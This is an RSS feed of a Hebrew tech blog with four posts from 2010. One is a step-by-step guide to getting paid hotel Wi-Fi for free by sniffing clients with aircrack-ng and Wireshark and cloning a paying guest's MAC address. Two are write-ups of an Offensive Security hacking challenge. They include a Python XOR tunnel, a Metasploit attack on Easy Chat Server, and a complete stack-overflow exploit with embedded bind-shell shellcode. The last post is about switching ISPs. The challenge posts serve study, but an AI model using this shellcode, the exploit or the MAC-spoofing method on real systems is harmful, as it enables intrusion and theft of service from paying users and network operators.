<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>&#8235;BinaryVision&#8236;</title>	<atom:link href="http://www.binaryvision.org.il/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.binaryvision.org.il</link>
	<description>&#8235;בלוג טכנולוגי של קבוצת חברים&#8236;</description>	<lastBuildDate>Tue, 17 Aug 2010 16:39:35 +0000</lastBuildDate>
	<language>he</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>&#8235;גלישה חינם בבתי מלון&#8236;</title>		<link>http://www.binaryvision.org.il/?p=640</link>
		<comments>http://www.binaryvision.org.il/?p=640#comments</comments>
		<pubDate>Mon, 16 Aug 2010 16:38:55 +0000</pubDate>
		<dc:creator>&#8235;PHANTOm&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[רשתות]]></category>
		<category><![CDATA[תקשורת]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=640</guid>
		<description><![CDATA[&#8235;
אחרי 7 בתי מלון ב- 11 יום החלטתי לפרסם כמה טיפים למטיילים בעולם. המלצה חמה בבריטניה למלונות הרשת Ramada, גם מאוד נחמדים וגם אינטרנט חינם. במקומות אחרים נתקלתי במערכות ניהול וגביה, הנפוצה מביניהם נקראת spectrum. לדעתי 6 פאונד לשעת גלישה זה מוגזם, לכן הנה מספר טיפים כיצד לחלוק את החשבון עם משתמשים אחרים. הרעיון בגדול הוא, [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p style="direction: rtl;">אחרי 7 בתי מלון ב- 11 יום החלטתי לפרסם כמה טיפים למטיילים בעולם. המלצה חמה בבריטניה למלונות הרשת Ramada, גם מאוד נחמדים וגם אינטרנט חינם.</p>
<p style="direction: rtl;">במקומות אחרים נתקלתי במערכות ניהול וגביה, הנפוצה מביניהם נקראת spectrum. לדעתי 6 פאונד לשעת גלישה זה מוגזם, לכן הנה מספר טיפים כיצד לחלוק את החשבון עם משתמשים אחרים.</p>
<p style="direction: rtl;">הרעיון בגדול הוא, למצוא מישהו ששילם (בעיקר ע&quot;י ניסוי וטעייה או ניחושים מושכלים) ולהשתמש בזיהוי כרטיס הרשת שלו. להחליף כתובת mac ב- Windows זה סיפור מהתחת, לא תמיד אפשרי, במיוחד בעדכונים האחרונים של הדויורים וגם הדרך משתנה מכרטיס לכרטיס. מה שכן, Windows שימושי בשלב ראשוני מאוד עם התוכנה Cain, שמאפשרת לסרוק את ה subnet ולמצוא משתמשים פעילים ברשת (ip, mac וייצרן בקובץ hosts.lst). ההבדל המהותי הוא שב- arp -a למשל, לא רואים שום דבר חוץ מה- default gateway, כש- cain מייצר מפה שימושית מאוד אותה אני ממליץ לקחת ל ubuntu לשלבים הבאים של התהליך.</p>
<p style="direction: rtl;">למי שלא מצא מספיק אנשים, או שלא רוצה לעבור ל windows, השיטה השנייה, היותר איטית אבל בהחלט יותר מדויקת (ונסתרת) היא להסתכל מי מדבר עם ה AP באוויר, וכך למצוא כתובות של קליינטים. אני ממליץ על שילוב של aircrack-ng עם wireshark. קודם נפתח ממשק למוניטור (נניח שהתחנות שמעניינות אותנו על ערוץ מס' 6 והכרטיס הוא wlan0) הפקודה היא: airmon-ng start wlan0 6 (מפסיקים עם airmon-ng stop mon0).</p>
<p style="direction: rtl;">להבדיל מ- Windows, ב Ubuntu קיבלתי תמיכה מלאה בשינוי מאק ו injection ב aircrack ישר מהקופסה כמו שאומרים. אחרי שפתחתי ממשק mon0, פתחתי wireshark (מ root) והתחלתי לתפוס תעבורה מ mon0. עשיתי סינון לא לרשום broadcasts וכו'. הלוג עצמו שימושי, אבל יותר פשוט ללכת ל statistics ולבחור wlan. שם, רואים את כל התחנות ואת הקליינטים שמדברים איתן, וכמות המידע שעוברת בניהם. מכאן גם אפשר לקבל רשימה של כתובות mac ויצרנים.</p>
<p style="direction: rtl;">עכשיו שיש רשימת יצרנים (אני תמיד ממליץ להתחיל מ apple, בדר&quot;כ אנשים עם יותר כסף משכל), אפשר להתחיל לנסות להתחבר. בשביל לשנות mac צריך לנתק לרגע את ה network (קליק ימני על האייקון באובונטו Disable Network), ואז מתוך root, נשנה את ה mac שלנו ככה: ifconfig wlan0 hw ether aa:aa:aa:aa:aa:aa אפשר גם בלי הנקודתיים. כמובן שבסוף נעשה שוב קליק ימני ונדליק את ה network. השינוי הוא שינוי זמני ולא נשמר אחרי Restart.</p>
<p>אחלה, התחברנו לרשת עם mac של מישהו אחר, עכשיו בוא נבדוק אם יש לנו אינטרנט נקי ע&quot;ש השירות של מיקרוסופט או אקמאי, אם אין redirection האינטרנט מוכן, אם לא, מנסים mac אחר.</p>
<p>wget -O /dev/null <a href="http://www.msftncsi.com/ncsi.txt">http://www.msftncsi.com/ncsi.txt</a></p>
<p>wget -O /dev/null <a href="http://whatismyip.akamai.com">http://whatismyip.akamai.com</a></p>
<p>נגמרו הכתובות או הסבלנות? עוד קצת sniffing, אולי על ערוץ אחר יכול להוביל לתוצאה יותר חיובית.</p>
<p>אם המחשב המקורי עדיין מחובר יהיה קצת חורים שחורים בגלישה. בדר&quot;כ רשתות כאלה משדרות יותר מ AP אחד (למשל spectrum, wifizone) ולמרות שזו אותה רשת, ברמת ה AP זה לא, לכן אפשר להתחבר פשוט לרשת השנייה (המשתמש המקורי מתחבר לאחת, אתם מתחברים לשניה) ואז כולם שמחים.</p>
<p>ברגע שמתרגלים: התהליך לוקח פחות מ- 5 דקות. זהו, תהנו מחופשה עם אינטרנט on the house.</p>
<p><strong>עדכון</strong>: למרות שלא יצא לי לבדוק בתנאי אמת, הנה תחליף לסריקת ה- arp עם cain:</p>
<p>nmap -sP -PR 10.1.0.1-255</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=640</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>&#8235;אתגר Hacking של Offensive Security – שלב שני&#8236;</title>		<link>http://www.binaryvision.org.il/?p=623</link>
		<comments>http://www.binaryvision.org.il/?p=623#comments</comments>
		<pubDate>Tue, 06 Jul 2010 18:30:25 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=623</guid>
		<description><![CDATA[&#8235;
מה היה לנו קיבלתי Root על 192.168.6.200 מצאתי עליו קובץ mosquito.exe <a href="http://rapidshare.com/files/405342575/mosquito.exe">http://rapidshare.com/files/405342575/mosquito.exe</a> מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן. mosquito בוא ננחש מה עושה הקובץ לפי הImports שלו. משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent. אז אם נריץ אותו, והוא מאזין על [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מה היה לנו</h2>
<ul>
<li>קיבלתי Root על 192.168.6.200
</li>
<li>מצאתי עליו קובץ mosquito.exe
</li>
</ul>
<p><a href="http://rapidshare.com/files/405342575/mosquito.exe">http://rapidshare.com/files/405342575/mosquito.exe</a><br />
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.</p>
<h2>mosquito</h2>
<p>בוא ננחש מה עושה הקובץ לפי הImports שלו.<br />
<div id="attachment_624" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2010/07/imports.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2010/07/imports-150x150.png" alt="" title="mosquito_imports" width="150" height="150" class="size-thumbnail wp-image-624" /></a><p class="wp-caption-text">Mosquito Imports</p></div><br />
משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.<br />
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.<br />
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.<br />
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.</p>
<pre>
nc -nvv 127.0.0.1 4597
</pre>
<p>קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080&#8230;. מאיפה זה בא??<br />
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.</p>
<pre>
nc -nvvLp 1080
</pre>
<p>מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה&#8230;<br />
שולח קצת טקסט, לא קורה כלום&#8230;..<br />
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?<br />
נבדק בצורה פשוטה ע&quot;י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.</p>
<h2>צוללים לקוד</h2>
<p>פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.<br />
מריץ Netcat מקומי מאזין על 1080.<br />
פותח ollydbg, מציב breakpoint על הRecv.<br />
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.<br />
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.<br />
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:</p>
<ul>
<li>כל חבילה שמתקבלת עוברת איזה &quot;הצפנה&quot; פשוטה&#8230; XOR עם הערך 4.
</li>
<li>נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
</li>
<li>המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080
</li>
</ul>
<h2>אז מה עכשיו</h2>
<ul>
<li>חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.
</li>
</ul>
<p>לא מצאתי חולשות רגילות של Buffer Overflow</p>
<ul>
<li>אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.
</li>
</ul>
<p>נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב &quot;bRAin suck3r&quot;.<br />
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.<br />
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.</p>
<ul>
<li>רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?
</li>
</ul>
<p>בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל &quot;מוצפן&quot; בNetcat המתחבר.</p>
<ul>
<li>אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?
</li>
</ul>
<p>מה רץ בדרך כלל על 1080? HTTP&#8230;<br />
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.<br />
קיבלתי הרבה הרבה זבל חזרה.<br />
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.</p>
<ul>
<li>אז הדבר הזה הוא פרוקסי לשרת WEB
</li>
</ul>
<p>כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.<br />
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.<br />
הסקריפט:</p>
<pre>
<pre class="brush: python">
#!/usr/bin/python
#
import socket
import sys
import thread

def tunnel_data(sock1,sock2):
	try:
		data = sock1.recv(0xffff)
		while data:
			ndata = &quot;&quot;
			for i in data:
				ndata += chr(ord(i) ^ 4)
			sock2.sendall(ndata)
			data = sock1.recv(0xffff)
		sock2.close()
	except Exception,e:
		print e
		sock1.close()
		sock2.close()

def main(ip,lport):
	global MSG
	lsock = socket.socket()
	lsock.bind((&quot;0.0.0.0&quot;,lport))
	lsock.listen(1)
	while True:
		cli = lsock.accept()[0]
		rsock = socket.socket()
		rsock.connect((ip,4597))
		thread.start_new_thread(tunnel_data,(cli,rsock))
		thread.start_new_thread(tunnel_data,(rsock,cli))

main(sys.argv[1],long(sys.argv[2]))
</pre>
</pre>
<h2>האתר</h2>
<p>נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.<br />
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.<br />
<div id="attachment_627" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2010/07/chatroom2.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2010/07/chatroom2-150x150.jpg" alt="" title="easy_chat_server" width="150" height="150" class="size-thumbnail wp-image-627" /></a><p class="wp-caption-text">Easy Chat Server</p></div><br />
התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.<br />
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.<br />
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.<br />
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:<br />
<a href="http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username">http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username</a></p>
<h2>פריצה מעל פרוקסי מצפין</h2>
<p>הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.<br />
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!<br />
קיבלתי Shell על השרת 192.168.6.141.<br />
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.<br />
וGetSystem של Meterpreter לא עזר.<br />
מערכת ההפעלה היא Windows 2003 SP2.</p>
<h2>נסיונות לעלות הרשאות</h2>
<p>ציינתי כבר שכל 30 דקות המכונות עוברות Revert?<br />
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?<br />
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.<br />
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.<br />
דברים שניסיתי:</p>
<ul>
<li>מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
</li>
<li>מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
</li>
<li>חיפוש קבצים זרוקים במערכת שיש לי גישה &quot;בטעות&quot; אליהם ויש שם סיסמה או משהו שיעזור
</li>
</ul>
<p>אתם מוזמנים להציע עוד דרכים&#8230;<br />
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם&#8230;.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=623</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>&#8235;אתגר Hacking של Offensive Security &#8211; שלב ראשון&#8236;</title>		<link>http://www.binaryvision.org.il/?p=587</link>
		<comments>http://www.binaryvision.org.il/?p=587#comments</comments>
		<pubDate>Sat, 26 Jun 2010 08:19:34 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[תכנות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=587</guid>
		<description><![CDATA[&#8235;
קצת על האתגר האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות. המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם. ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN. ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים. מטרת האתגר: תוך 48 שעות, לפרוץ 5 מחשבים להשיג מהלינוקסים שבהם [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>קצת על האתגר</h2>
<p>האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.<br />
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.<br />
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.<br />
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.<br />
מטרת האתגר:</p>
<ul>
<li>תוך 48 שעות, לפרוץ 5 מחשבים
</li>
<li>להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
</li>
<li>ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
</li>
<li>כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
</li>
<li>כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.
</li>
</ul>
<p>קישור לאתר של האתגר, עם עוד קצת הסברים:<br />
<a href="http://www.information-security-training.com/events/let-the-games-begin-again">http://www.information-security-training.com/events/let-the-games-begin-again</a><br />
לי יצא לעבוד על זה בערך 10 שעות.</p>
<h2>סריקה ראשונית</h2>
<p>מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90<br />
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.</p>
<ul>
<li>200 &#8211; פתוח פורט 80
</li>
<li>141 &#8211; פתוח פורט 80 וכמה פורטים של SIP
</li>
<li>115 &#8211; פתוח שרת SQL
</li>
<li>140 &#8211; פורט 80 פתוח וכמה שהם filtered
</li>
<li>150 &#8211; ענה לי פעם על פורט כלשהו ונעלם
</li>
</ul>
<h2>מעבר מהיר על המחשבים</h2>
<ul>
<li>141 &#8211; מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
</li>
<li>140 &#8211; מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
</li>
<li>115 &#8211; שרת SQL שאין לי משתמש אליו
</li>
<li>200 &#8211; מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
</li>
<li>150 &#8211; לא התעסקתי איתו
</li>
</ul>
<p>הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.</p>
<h2>Vuln</h2>
<p>בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:<br />
<a href="http://rapidshare.com/files/402861125/vuln.rar.html">http://rapidshare.com/files/402861125/vuln.rar.html</a><br />
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.<br />
מעבר על המקור מגלה את השורות הבאות:</p>
<pre>
<pre class="brush: c">
#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&amp;my_addr, ...)){
    perror(&quot;bind&quot;);
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror(&quot;listen&quot;);
    exit(1);
  }
</pre>
</pre>
<p>הקוד מאזין על פורט 7500.<br />
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).<br />
אז הבינארי הזה רץ על השרת הזה.<br />
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).<br />
שורות מעניינות:</p>
<pre>
<pre class="brush: c">
char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf(&quot;Your message is \&quot;%s\&quot;\n&quot;,response);
return 0;
}
</pre>
</pre>
<p>התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.<br />
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.<br />
עוד קטע שקופץ לעיניים בקוד:</p>
<pre>
<pre class="brush: c">
int jmp(void){
 __asm__(&quot;jmp %esp&quot;);
 return 0;
}
</pre>
</pre>
<p>הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.</p>
<h2>ניצול חולשה</h2>
<p>שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.<br />
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.<br />
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0&#215;41414141 שזה &quot;AAAA&quot;.<br />
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.<br />
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.<br />
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.<br />
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.<br />
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A<br />
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).<br />
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.<br />
קיבלתי Code Execution.<br />
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.</p>
<pre>
<pre class="brush: python">
SHELLCODE = (&quot;\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd&quot;
&quot;\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89&quot;
&quot;\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd&quot;
&quot;\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49&quot;
&quot;\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3&quot;
&quot;\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;)
</pre>
</pre>
<p>מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)<br />
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.<br />
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:</p>
<pre>
<pre class="brush: python">
#!/usr/bin/python
#
# exploit.py &lt;ip&gt; &lt;port&gt;
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = (&quot;\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd&quot;
&quot;\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89&quot;
&quot;\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd&quot;
&quot;\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49&quot;
&quot;\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3&quot;
&quot;\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;)

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack(&quot;!H&quot;,port)+SHELLCODE[23:]
	buff = &quot;A&quot; * 268 + struct.pack(&quot;L&quot;,JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()

main(sys.argv[1],long(sys.argv[2]))
</pre>
</pre>
<p>מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.</p>
<h2>מה יש בשרת</h2>
<p>נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.<br />
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.<br />
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!</p>
<h2>בפוסט הבא</h2>
<p>מה זה mosquito.exe?<br />
האם הוא נותן רמז לשרת עם הזבוב בתמונה?<br />
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=587</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>&#8235;בזק: שלום!&#8236;</title>		<link>http://www.binaryvision.org.il/?p=563</link>
		<comments>http://www.binaryvision.org.il/?p=563#comments</comments>
		<pubDate>Thu, 04 Feb 2010 18:35:23 +0000</pubDate>
		<dc:creator>&#8235;PHANTOm&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[HOT]]></category>
		<category><![CDATA[Skype]]></category>
		<category><![CDATA[בזק]]></category>
		<category><![CDATA[חומרה]]></category>
		<category><![CDATA[טלפון]]></category>
		<category><![CDATA[סלולר]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=563</guid>
		<description><![CDATA[&#8235;
צ'או בזק. עכשיו נתן סיכוי לתשתית של HOT, לא שאני עובר ל- HOT מתוך בחירה, ברור שזה הרע במיעוטו ושחסרה תחרות בתחום תשתית האינטרנט בארץ. אולי יום יבוא וסלקום / אורנג' / חברת חשמל יעשו קצת תחרות. בכל מקרה, רציתי לכתוב קצת על החיים שאחרי המעבר. בעיקר, איך שורדים עם טלפון שמחובר ל- Skype ומה [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>צ'או בזק. עכשיו נתן סיכוי לתשתית של HOT, לא שאני עובר ל- HOT מתוך בחירה, ברור שזה הרע במיעוטו ושחסרה תחרות בתחום תשתית האינטרנט בארץ. אולי יום יבוא וסלקום / אורנג' / חברת חשמל יעשו קצת תחרות. בכל מקרה, רציתי לכתוב קצת על החיים שאחרי המעבר. בעיקר, איך שורדים עם טלפון שמחובר ל- <a href="http://www.skype.com/" target="_blank">Skype</a> ומה הבעיות שזה עושה.</p>
<p><span id="more-563"></span></p>
<p>למה לעבור? האינטרנט בבזק לא רע, כשהוא עובד, וזכיתי לחודשים ארוכים של תקלות, וגם יותר יקר. השיקול העיקרי במהלכים כאלה הוא כסף, אז אני אדבר על המקרה הפרטי מאוד שלי.</p>
<p>אני לא רוצה להיכנס עמוק לנושא הפיננסי, אז אגיד בקיצור שמנוי קיים ב- ADSL ישלם 92 ₪ לחודש (כולל תשתית 2.5 וקו קל בהתחייבות לשנה), וב- HOT מצטרף חדש לאינטרנט בלי קו ישלם 80 ₪ עם חודשיים מתנה בהתחייבות ל14 חודש בלי לשלם התקנה. ככה שההבדל לחודש הוא 23 ₪ (מחיר ממוצע כולל את המתנה של HOT).</p>
